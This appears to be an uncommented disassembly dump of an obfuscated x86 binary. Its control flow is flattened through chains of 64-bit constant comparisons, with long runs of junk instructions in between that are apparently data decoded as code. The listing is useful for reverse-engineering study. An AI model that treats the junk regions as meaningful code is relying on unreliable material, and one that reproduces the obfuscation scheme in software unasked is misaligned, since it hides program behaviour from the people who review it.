cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x362b7
or eax, dword [ebp - 0xe4]
je 0x67e56372
mov edx, 0x362b7
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x2b42d
or eax, dword [ebp - 0xe4]
je 0x67e5346a
mov edx, 0x2b42d
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x20607
or eax, dword [ebp - 0xe4]
je 0x67e54bee
mov edx, 0x20607
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x1dcde
or eax, dword [ebp - 0xe4]
je 0x67e51705
mov edx, 0x1dcde
add dword [eax], eax
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x2b4a
or eax, dword [ebp - 0xe4]
je 0x67e557b0
mov eax, dword [ebp - 0xe8]
xor eax, 0x10064
or eax, dword [ebp - 0xe4]
je 0x67e56f34
jmp 0x67e57af6
mov ebx, 0xc6dc0a8a
push cs
and eax, 0xc0c8bcf
salc
xchg ebp, eax
das
pop edx
jnp 0x67e516b9
push ss
out 0xab, eax
or al, 0x8c
mov al, 0x87
xchg byte [eax + 0x30], bl
push edi
pop edi
clc
out dx, eax
pop edi
push cs
jnp 0x67e51784
cli
xor ch, bh
test eax, 0xe54551c
xor dword [ebx], eax
inc esp
add al, 0x2d
invalid
stc
push eax
jo 0x67e51793
ljmp 0x60c0:0xfbdca39c
cmp al, 0xf5
xor dword [esi], 0x58
das
jb 0x67e517ec
jp 0x67e5178f
sti
in al, dx
popal
jmp 0x6182cadf
mov bl, 0x9d
stc
sub eax, 0x577a4a48
push cs
pop edi
dec edi
cmp eax, 0xf903a674
add ch, byte [esp + 0x48]
mov esi, 0xd67189da
xchg dword [esi], edx
dec ecx
pop esp
invalid
add dh, cl
loopne 0x67e517f1
nop
int3
loop 0x67e51775
sahf
inc ebx
jg 0x67e517c7
aad 0x80
mov eax, dword [0x4f05c6a5]
mov eax, 0xa199e5c0
push ebx
inc bl
fiadd dword [edi + 0x20]
xchg ebp, eax
mov eax, dword [0xdac3fe53]
inc edi
and bl, dh
xchg ebp, eax
ja 0x67e51874
cdq
pop ss
add bl, dl
ret 0x61b7
cmc
cmp dword [edi + 0x6dc15a78], 0xe
insd dword es:[edi], dx
or edi, dword [edx]
push esi
mov edx, 0x4e159fc5
dec ebx
inc ebp
mov bh, 0x25
cdq
mov ah, 0x5a
xchg edi, eax
mov cl, 0xde
fadd qword [ecx - 0x5a]
xchg edi, eax
jns 0x67e517db
adc bh, byte [ecx]
pop esp
jno 0x67e51890
invalid
mov bl, dl
aaa
add eax, 0x30537261
ja 0x67e518af
shl dword [ebp - 0x78], 1
jb 0x67e51803
add ebx, dword [eax - 0x24]
xchg esi, eax
test eax, 0xbc9865ca
jae 0x9b000cee
sbb dh, byte [ebx]
seto ah
sbb eax, 0x4d1936b
sbb eax, 0x7fa50590
fsub qword fs:[eax + 0x72]
mov eax, dword [0x544fb2b5]
in al, dx
xor eax, 0x962de70a
in eax, dx
jae 0x67e518d3
wait
invalid
int1
std
xchg edx, eax
and esp, dword [esi]
invalid
cmp ebp, edx
pop esi
adc eax, 0x7aa7c704
cmp eax, 0x8edbd940
xchg edi, eax
mov ch, bh
mov eax, 0xd6cd9691
push 0xffffffffffffff9b
nop
stc
or eax, 0x32aea32
mov bh, byte [ebp - 0x7a8dd56d]
cmp byte [edx], al
fild word ds:[bx + 0x440]
aas
stc
sbb edi, dword [ebx]
push ss
lds eax, [edi - 0x41]
adc al, 0x7c
cwde
lahf
sti
jb 0x67e51da0
sal dword [esi], 0x4c
outsb dx, byte [esi]
stosd dword es:[edi], eax
inc edx
lodsb al, byte [esi]
mov ch, 0x91
ljmp 0x3074
retf
sbb eax, 0x20c13892
sub esi, dword [edi + 0x7b342ed6]
sti
cmpsd dword [esi], dword es:[edi]
sub ch, bh
int 3
cmp al, 0x65
and al, 0x79
sub al, 0x1b
sbb al, 0xb
push esi
fdiv st(3)
adc ebx, dword [ecx]
outsd dx, dword [esi]
push es
cmp al, 0xbe
mov ecx, 0xb22a3968
sub al, 0xf1
push ss
dec ecx
call 0xdee7053
cli
jne 0x67e52310
dec ebx
mov eax, dword [0x2611c09c]
inc ebx
insb byte es:[edi], dx
dec esi
add cl, byte [edi + 0x38]
sub edi, dword [esi + ebp*2 + 0x2b]
scasb al, byte es:[edi]
cmp edi, dword [ebx - 0x43]
movsb byte es:[edi], byte [esi]
inc ebp
xchg esi, eax
idiv dword [eax + edx*4 - 0x49b62430]
cmp al, 0x4b
cmp ch, byte [eax + eax + 0x4c82a8f9]
add ebx, dword [ecx]
push eax
adc bl, ch
push cs
or esi, esi
nop
int3
call 0xae384b20
mov dword [0x1a4518b3], eax
leave
mov esi, 0xe4b1fe85
out dx, al
invalid
inc esp
cmp byte [edi + 0xd], ch
imul esp, dword [edx + ecx*2], 6
insb byte es:[edi], dx
daa
push 0xffffffffffffffbd
loopne 0x67e5288b
push edi
les edx, [edi + 0x608c07be]
sbb al, 0xd1
invalid
invalid
test byte [ebp - 0x1d], ch
mov ebp, 0x569374b
mov esi, 0xd80e4f1c
rcl al, 1
dec ebx
sbb edi, dword [ecx + 0x75121279]
push es
push cs
mov cl, 0x23
or esp, edx
test byte [edx + ebp + 0x36], ch
xor ch, byte [eax]
mov edx, 0xbc97f6ae
adc al, 0x2a
inc edi
sbb byte [0x163153b5], bh
out 0xfd, eax
jb 0x67e52f19
mov byte [0x5f8b444e], al
inc edi
or ebp, dword [edi + 0x1cb755fb]
loope 0x67e52f0c
aas
in eax, 0x6d
jg 0x67e52e80
lodsb al, byte [esi]
cmp al, 0x38
xchg esi, eax
jnp 0x67e52ee8
shr byte [esi + 0x6f], cl
rol byte [ebp + 0x11cf2e6d], cl
pushal
fimul word [ebx]
pop edi
invalid
mov eax, 0xcc9059fb
inc eax
js 0x67e52f41
mov dh, byte [edx - 0x4b]
dec ebx
stosd dword es:[edi], eax
les edi, [esi]
dec edi
fcomp qword [esi]
xchg ecx, eax
sbb eax, 0x1ca790cc
rcl dword [eax + 0x57]
das
pop esp
movsb byte es:[edi], byte [esi]
pushal
fmul dword [ebx + 3]
cmp ebp, dword [ecx + 0x38]
and dword [edi], esi
jnp 0x67e52ed3
imul edi, dword [eax], 0xc17b3721
or edx, dword [edi]
push 0x8552c4a2
fcomp dword [esp + eax*4 - 0x70]
int3
retf 0x4334
push es
fld dword [edi + 0x4d]
in al, 0x5d
or byte [eax - 0x6fd48d41], bl
int3
test bh, cl
or eax, 0x91fdad76
salc
dec edx
or eax, dword [0xf4d6b394]
mov ebx, 0x2f08b12e
stc
adc byte [ecx], dl
or dword [ebx - 0x6d], edx
add ebp, dword [esi - 0x14]
ret 0xf5e8
sub eax, 0x9998f0fc
sbb esp, dword gs:[edi]
das
int 0x3d
insb byte es:[edi], dx
pushfd
mov edx, 0xe448b544
inc eax
out dx, al
loope 0x67e533f4
int3
mov dh, 0x8d
sbb byte [ecx - 0x57fb111c], ah
dec ebx
mov dh, 0x44
out dx, eax
ror byte [ebx], 0xf3
jbe 0x67e53428
cmp ebx, esi
jbe 0x67e5344d
ror bh, cl
sbb dword [ebp + edx*8 - 0xd], 0xffffffa6
nop
invalid
ret
sub edi, esi
xchg dword [ecx - 0x6c], ebp
fdivrp st(3)
xchg byte [ebp + 0x1b], al
mov esi, 0x193d6511
sbb ah, byte [eax - 0x3e3ae6d7]
aaa
retf
jmp 0x67e5461c
insd dword es:[edi], dx
jo 0x67e545bf
xor dl, byte ss:[ebx - 0x31]
js 0x67e54640
xchg esi, eax
dec esp
push ebp
nop
push eax
mov bh, 0xbb
nop
int3
stosb byte es:[edi], al
mov ch, 0x99
or eax, 0xdef5cecf
stosb byte es:[edi], al
arpl word [ebp - 0x7597a7e], sp
std
cmc
cmp eax, 0xeed8ec75
or ch, byte [edx]
and dh, byte [esi - 0x4830b97c]
sbb byte [ebx - 0x7a35f1e], ch
inc ebp
loope 0x67e545f6
sbb bp, cx
jmp 0xc8e72b3f
and esi, dword [eax - 0x625dd9ac]
sbb eax, 0x56e532cc
scasb al, byte es:[edi]
rcl ah, cl
adc ebx, dword [eax + edi*4 - 0x7ca5f291]
cmpsd dword [esi], dword es:[edi]
sbb byte [esi], bh
fcomi st(0)
hlt
int3
das
invalid
sbb dword [ebx], 0x3e950edc
mov al, 0x7c
fmul qword [esi]
xchg ebp, eax
mov al, 0x7c
jp 0x67e54b84
dec ebx
jo 0x67e54be5
stc
leave
mov ecx, dword [esi - 0x2565747]
jns 0x67e54bf0
and eax, 0x57686a5c
ja 0x67e54c88
imul ecx, dword [esi], 0xffffffbc
movsb byte es:[edi], byte [esi]
clc
pop ebx
movsd dword es:[edi], dword [esi]
cmp al, 0x95
bound esp, qword [ebx - 0x2ea3daf6]
lds edi, cs:[edx - 0x27266e43]
shr dword [esi], 1
lds edi, [edx - 0x27266e43]
fimul word [ecx + 0x13]
jmp 0x67e54c0a
mov al, 0x4a
into
dec edi
in al, 0x50
hlt
jno 0x67e54c1a
mov esi, 0xc0e30e73
not byte [edx + eax*4]
inc esp
cmp edx, esi
scasd eax, dword es:[edi]
pop ecx
jmp 0x67e54c5b
inc edx
fisubr word [ebp + 0x6d]
ret
outsb dx, byte [esi]
push ebp
xchg esi, eax
mov esi, 0x9345f1f0
xchg ecx, eax
into
xchg esp, eax
xchg ecx, eax
mov al, byte [ebx + 5]
out 0xc4, eax
ret
and edi, dword [eax + esi*4 - 0x74]
inc esp
xor dword [ebx], ebp
invalid
fdiv qword [edi]
mov dl, 3
mov dh, byte [ecx - 0x75]
xchg dword [ebx], edi
salc
lodsb al, byte [esi]
jmp 0xd389efad
xor cl, byte [eax]
or bp, word es:[eax + 0x6d]
test dword [ebp + 0x7f], 0xd6bcebf7
push 0x14
lahf
imul esp, dword [ecx + edx*4 - 0x2d1079f], 0x35
invalid
adc dl, byte [edi]
invalid
add byte [edi + 0x22], dh
cmpsw word [esi], word es:[edi]
push edi
push eax
adc byte [ebp - 0x55], 0x7e
hlt
nop
jmp 0x67e57af7
nop
mov dword [esp + 8], str.HSqxViXUhv
mov dword [esp + 4], 0x3c
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call fcn.67ac19a6
mov dword [ebp - 0xf0], 0x8d499
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf8], 0x2f9ab
mov dword [ebp - 0xf4], 0
mov eax, dword [ebp - 0xec]
imul eax, dword [ebp - 0xf8]
mov edx, eax
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0xf0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xf0]
mul dword [ebp - 0xf8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x100]
xor eax, 0x45e0d333
mov edx, dword [ebp - 0xfc]
xor edx, 0x1a
or eax, edx
je 0x67e587aa
mov edx, 0x45e0d333
mov eax, 0x1a
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x67e587ad
mov eax, dword [ebp - 0x100]
xor eax, 0x56e7d
or eax, dword [ebp - 0xfc]
je 0x67e57beb
mov eax, dword [ebp - 0x100]
xor eax, 0x75cb0
or eax, dword [ebp - 0xfc]
je 0x67e581cc
jmp 0x67e587ad
out dx, eax
mov dword ss:[0x9d86f510], 0xcd14a782
mov bh, 0x5a
popfd
xchg edi, eax
push es
mov byte gs:[0x58e50b8c], al
dec edi
retf 0xeda7
xor bh, byte [ebp + edi*8 + 0x7773bf58]
sbb dword [ecx + 7], esi
aaa
mov al, byte [0xe8771b4c]
call 0x9aa2b577
clc
push ecx
xor ebx, dword [ebp - 0x43b28dbc]
cdq
mov esi, dword [eax]
cwde
test dword [edi], 0x17e2576d
nop
int3
push ds
mov cl, 0x7e
cmp eax, 0x2ab6ba88
out 0xef, eax
call 0x5bf655a1
sub al, 2
xchg esp, eax
lea edi, [edx + 0x4e6eedc9]
sbb eax, 0xe9523778
xchg ecx, eax
xchg ecx, eax
test byte [eax - 0xfde08e0], 0x4a
loop 0x67e581d7
invalid
and al, 0xee
fcmove st(0), st(7)
cmp ebx, eax
pushfd
jp 0x67e58270
and byte [edi + ebp*8 + 0x2d2297b], cl
stosd dword es:[edi], eax
mov edx, 0xaa3ecb29
jae 0x67e5819e
mov al, ch
das
dec ebp
push 0xb0de8ac4
mov esi, 0xa883b462
cmp eax, 0xa728ebbe
mov ebp, 0x8447253c
bound ebx, qword [ebx]
mov ecx, dword [edi*8 + 0x76f8b143]
or byte [eax - 0x42f55334], dl
imul byte [edi - 0x66de48bd]
and cl, dl
daa
sar dword [esi + ebp*2 - 0x1d], 0xc1
dec esp
sbb dword [edi], ecx
add byte [ebx], dh
fisttp dword [eax + 0x7a]
pop ebp
aaa
call 0x9497d03
adc al, 0xda
mov bl, ah
dec esp
fist word [edx - 0x3a82dabb]
ficom dword [eax + edx*2 + 0x69]
iretd
mov dl, byte [esi + 0xb6a3e8]
test al, 0x72
add eax, 0x468edda6
or byte [esp + ebx - 0x35], cl
push ds
stc
shr eax, cl
push esi
inc esp
lahf
mov dl, 0x64
mov al, 0x2f
in eax, dx
invalid
nop
jmp 0x67e587ae
nop
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call fcn.67bf40f9
mov dword [ebp - 0x108], 0x7ad84
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x110], 0xb27e0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x110]
mov edx, eax
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x108]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x108]
mul dword [ebp - 0x110]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x118]
xor eax, 0xa6d2ef80
mov edx, dword [ebp - 0x114]
xor edx, 0x55
or eax, edx
je 0x67e5945a
mov edx, 0xa6d2ef80
mov eax, 0x55
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x67e5945d
mov eax, dword [ebp - 0x118]
xor eax, 0x5dd63
or eax, dword [ebp - 0x114]
je 0x67e58e7c
mov eax, dword [ebp - 0x118]
xor eax, 0x62778
or eax, dword [ebp - 0x114]
jne 0x67e5945d
xor ch, byte [ebp + 0x4261735b]
push ss
jns 0x67e58878
invalid
invalid
nop
jmp 0x67e5945e
nop
mov eax, 1
jmp 0x67e67cbc
mov dword [ebp - 0x88], 0xa8068
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0xa4fb8
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub eax, dword [ebp - 0x90]
sbb edx, dword [ebp - 0x8c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0xb9eff
or eax, dword [ebp - 0x94]
je 0x67e5954d
mov edx, 0xb9eff
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67e5a6ed
mov eax, dword [ebp - 0x98]
xor eax, 0x67100
or eax, dword [ebp - 0x94]
je 0x67e59b2e
mov edx, 0x67100
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67e5a6ed
mov eax, dword [ebp - 0x98]
xor eax, 0x30b0
or eax, dword [ebp - 0x94]
je 0x67e5a6f0
mov eax, dword [ebp - 0x98]
xor eax, 0x1edad
or eax, dword [ebp - 0x94]
je 0x67e5a10f
jmp 0x67e5a6ed
invalid
int3
xor bh, byte [0x311156bc]
xchg dword [edx - 0x66], ecx
inc eax
ljmp 0x67ea
cmp edi, dword cs:[eax - 0x7c]
fcom qword [edi - 0x57]
jno 0x67e5a0db
mov bl, 7
dec edx
sar dword [ebx - 0x4f73413], 0xfc
invalid
nop
jmp 0x67e5a6f1
nop
mov eax, 1
jmp 0x67e67cbc
mov dword [ebp - 0x28], 0x4e1f9
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0xd14be
mov dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x38]
xor eax, 0x11f6b7
or eax, dword [ebp - 0x34]
nop
jmp 0x67e61517
mov dword [ebp - 0x10], 0xd0d91
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0x35deb
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
xor eax, 0x106b7c
or eax, dword [ebp - 0x1c]
je 0x67e5c591
mov edx, 0x106b7c
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x67e5c597
mov eax, dword [ebp - 0x20]
xor eax, 0x6b389
or eax, dword [ebp - 0x1c]
je 0x67e5bfb3
mov edx, 0x6b389
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x67e5c597
add byte [ebx], bh
push ebp
loopne 0x67e5a7d1
inc ebp
in al, 0xf
mov ecx, ds
sbb eax, 0x458b0000
loopne 0x67e5a7f7
mov eax, dword [ebp - 0x20]
xor eax, 0x5206f
or eax, dword [ebp - 0x1c]
outsd dx, dword [esi]
and byte [0xe4450b00], al
je 0x67e5ae10
mov edx, 0x5206f
mov eax, 0
and byte [0xb800], al
add byte [eax], al
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x67e5c597
mov eax, dword [ebp - 0x20]
xor eax, 0x318bb
or eax, dword [ebp - 0x1c]
je 0x67e5b3f1
mov edx, 0x318bb
mov eax, 0
mov ebx, 0xb8000318
add byte [eax], al
add byte [eax], al
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x67e5c597
in al, 0xf
mov word [ebx - 0x74ffffe3], cs
inc ebp
loopne 0x67e5a845
mov eax, dword [ebp - 0x20]
xor eax, 0x9feb
or eax, dword [ebp - 0x1c]
je 0x67e5a82f
jmp 0x67e5a7b1
mov eax, dword [ebp - 0x20]
xor eax, 0x1879f
or eax, dword [ebp - 0x1c]
je 0x67e5b9d2
jmp 0x67e5c597
mov esp, 0xba1317d0
or eax, 0x57ab47ab
test al, 0x9c
push cs
push esi
leave
loopne 0x67e5a845
or byte [edi + 0x3dc33736], ah
pop ds
pop edx
mov cl, 0x3f
cmp eax, 0xb1655a1f
aas
jle 0x67e5a805
jmp 0x46eb2746
scasb al, byte es:[edi]
adc al, 0xf3
cmp eax, 0xc41587fc
mov al, 0x40
cwde
push edx
ret 0xaca4
push ebp
pushal
mov esp, ebp
mov esp, 0xb439ca99
mov esp, 0xc8d38e77
inc ecx
in al, 0xb5
cmp al, byte [esi]
insb byte es:[edi], dx
sub edx, dword [edx + 0x364c0c99]
or eax, dword [ebp + 0xb1db9a5]
dec esp
or eax, dword ss:[ebp + 0xb1db9a5]
push ecx
sbb edi, dword [ebx - 0x3a3b3e7f]
cmp dword [ebx], eax
out dx, eax
jle 0x67e5b409
sbb eax, 0x756b7486
jmp 0x67e5b476
push ss
mov bl, 0x5e
jo 0x67e5b486
push ds
or word [ecx + 0x766aa1de], ax
adc al, byte [ecx]
scasd eax, dword es:[edi]
aam 0x29
jb 0x67e5b463
add dword [edi + 0x147229d4], ebp
mov cl, 0xc3
lea eax, [ebp - 0x70]
int3
fadd qword [ecx - 0x31]
fiadd word [eax - 0x3e4ee5be]
imul ebx, dword [edi], 0x1f
and dword [edi], 2
dec edx
dec edx
adc byte [ebx - 0x45e3baa8], 0x7c
mov edi, 0x313ff8d1
dec ecx
sar dword [edx], 3
pop eax
inc ebp
sbb al, 0xba
jl 0x67e5b43b
sar eax, 1
aas
xor dword [ecx - 0x3f], ecx
cmp al, byte [ebx]
xchg edi, eax
hlt
pop esp
pop edx
dec ebp
adc dword [eax - 0x6d24ff48], esi
xchg edx, eax
jb 0x67e5b4d7
cmp ebx, edi
jae 0x67e5b449
adc al, 0x28
loopne 0x67e5b473
lcall 0xff9, 0xaab109c4
retf 0xc6d0
cmc
sbb bl, byte [ebx]
xchg byte [ebx - 0x5f07cb1f], al
insd dword es:[edi], dx
fucomi st(2)
fsub qword [ebx - 0x64]
and bl, byte [ebx + esi*8]
fidivr word [edi + 0x36db1c41]
ror byte [eax - 0x75], cl
enter 0x52e5, 0xfffffffffffffffc
cld
stosb byte es:[edi], al
dec ebp
in al, 0x97
imul dword [edx - 0x21]
xor dl, bh
mov edx, 0xc7968a9d
stosd dword es:[edi], eax
add dh, byte [edx]
jbe 0x67e5b4b9
aad 0x1d
adc eax, 0x220f41c4
outsb dx, byte [esi]
jns 0x67e5b52d
and bh, byte [esi + 0x52]
and cl, byte [edx - 0x4a2cc271]
cwde
pop ss
jne 0x67e5b48e
push edx
push cs
mov dword [0x51b0ea1], eax
std
mov ch, 0xc3
lodsd eax, dword [esi]
sbb dword [ecx], 0x5662b95
retf
mov eax, dword [0xbf1498b1]
cld
cwde
mov eax, dword [0xef6ecee]
retf
int3
sbb bl, al
mov ah, 0xd4
add ebp, dword [edi - 0x47]
mov bh, 0xb4
mov dl, 0xd3
mov al, 1
mov bl, bh
dec esp
mov esi, 0x84f58692
jae 0x67e5ba1c
cmp dword [ebx - 0x42], ebx
movsd dword es:[edi], dword [esi]
enter 0xffffffffffff8185, 0x38
bound esi, qword [edi]
adc byte [esi], al
das
in al, 0xd
mov dword [0x9ff8a79f], eax
adc al, 0xfe
add ch, byte [ecx]
in al, dx
sti
aas
inc esi
jge 0x67e5b9cc
outsd dx, dword [esi]
dec eax
or eax, edi
mov eax, dword [ebx - 0x7c]
push ss
adc byte [ebp + 0x3c], 0x3f
fimul word [ebx + 0x35]
add edx, dword [edi + 0x6a33e18a]
fsubr qword [ebx + 0xf]
mov es, ebx
adc al, 0x6f
push es
sbb edx, dword [ebx]
jle 0x67e5ba8b
sbb eax, 0x8807ad05
mov byte [ebp + 0x78a4cbb8], ah
add dword [eax - 0x1b65e34], edx
sub dword [ebx + edx + 0x4d8a69ef], edx
das
retf 0xda1
mov ecx, 0x71bef222
push eax
movsd dword es:[edi], dword [esi]
jne 0x67e5baff
clc
pop ebx
rcl dword [eax - 0x2d2e4834], cl
cmp byte [edi + 0x76c842c], ah
rol bl, cl
cmc
sti
invalid
mov dword [ebp - 0x37], ebx
xor al, 0x6f
daa
cmp eax, 0x41db5f6f
imul edi, dword [esi - 9], 0x615eeebf
pop eax
invalid
out dx, eax
mov eax, 0x243b61e0
lodsd eax, dword [esi]
mov byte [0x1e1ac324], al
jnp 0x67e5bb30
push es
neg dword [edi + 0x4c]
or eax, 0x24fc0a11
inc edx
int1
imul edx, dword [ebp - 0x3b], 0xffffffb3
invalid
inc edi
loopne 0x67e5badb
aas
cld
ljmp 0xa043
xor ebx, dword [edx]
stc
bound esi, qword [edi + 0x21b174a5]
jo 0x67e5bb0e
jmp 0x67e5bb20
cmp esi, dword [esi*4 + 0xa7fde35]
aas
xlatb
mov dh, 0xab
call 0x2550512d
pop edi
adc eax, 0xd79e3334
fcomp qword [edi]
clc
mov ah, 0x24
lodsd eax, dword [esi]
jg 0x67e5bfc1
cmpsb byte [esi], byte es:[edi]
scasd eax, dword es:[edi]
jecxz 0x67e5bfa7
mov dl, 0xe6
add dword [edx + 0x32], ebp
adc eax, 0x8167959f
sub ah, byte [bp + si]
xchg esi, eax
aas
arpl word [ebp + 0x22], sp
fcmovnu st(0), st(4)
adc dword [ebx - 0x6a], ecx
jbe 0x67e5bf5b
mov esi, 0x87401ed6
push ebx
sti
jle 0x67e5c018
std
into
fistp qword [esi]
outsd dx, dword [esi]
pop edi
mov dword [esi + 0x2763330b], edx
or esi, dword [ebx]
arpl word [edi], sp
mov al, 0x90
int3
add eax, 0xc9c2313e
out dx, al
push ebp
in al, 3
fisttp word [esi - 0x4d]
jmp 0x67e5bf7d
das
cmp ch, byte [eax + 0x1204081f]
in al, 0x88
inc esp
stc
mov word [ecx], es
into
iretd
push 0xffffffffffffffdb
inc edi
or cl, byte [ebx + ebx*8]
inc edi
movsb byte es:[edi], byte [esi]
loop 0x67e5c06e
lodsd eax, dword [esi]
movsb byte es:[edi], byte [esi]
int3
xchg esp, eax
out 0xf2, eax
movsd dword es:[edi], dword [esi]
retf
nop
jmp 0x67e61517
nop
jmp 0x67e61517
mov dword [ebp - 0x120], 0xc444b
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0xdecd2
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x128]
mov edx, eax
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x120]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x120]
mul dword [ebp - 0x128]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
xor eax, 0xd0d42986
mov edx, dword [ebp - 0x12c]
xor dl, 0xaa
or eax, edx
je 0x67e61512
mov edx, 0xd0d42986
mov eax, 0xaa
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0xba1d1
or eax, dword [ebp - 0x12c]
je 0x67e5f1cf
mov edx, 0xba1d1
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0xb2a3e
or eax, dword [ebp - 0x12c]
je 0x67e5f7b0
mov edx, 0xb2a3e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x8b875
or eax, dword [ebp - 0x12c]
je 0x67e5ce89
mov edx, 0x8b875
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x88804
or eax, dword [ebp - 0x12c]
je 0x67e60f34
mov edx, 0x88804
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x86edb
or eax, dword [ebp - 0x12c]
je 0x67e5c8a8
mov edx, 0x86edb
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x85b0d
or eax, dword [ebp - 0x12c]
je 0x67e5e60d
mov edx, 0x85b0d
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x80fa9
or eax, dword [ebp - 0x12c]
je 0x67e5ebee
mov edx, 0x80fa9
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x6b478
or eax, dword [ebp - 0x12c]
je 0x67e5da4b
mov edx, 0x6b478
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x68c9d
or eax, dword [ebp - 0x12c]
je 0x67e60372
mov edx, 0x68c9d
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x54605
or eax, dword [ebp - 0x12c]
je 0x67e5d46a
mov edx, 0x54605
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x4fde7
or eax, dword [ebp - 0x12c]
je 0x67e5fd91
mov edx, 0x4fde7
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67e61515
mov eax, dword [ebp - 0x130]
xor eax, 0x165e9
or eax, dword [ebp - 0x12c]
je 0x67e5e02c
mov eax, dword [ebp - 0x130]
xor eax, 0x4f2a2
or eax, dword [ebp - 0x12c]
je 0x67e60953
jmp 0x67e61515
or eax, 0x7d9320ec
sbb al, 0xc8
shr dword [ebp + 0x6c], 0xc0
outsd dx, dword [esi]
sbb al, 0x14
sub al, 0xa7
cwde
lodsb al, byte [esi]
pop esi
jmp 0x68216476
cwde
add dh, 0xdb
invalid
invalid
push esi
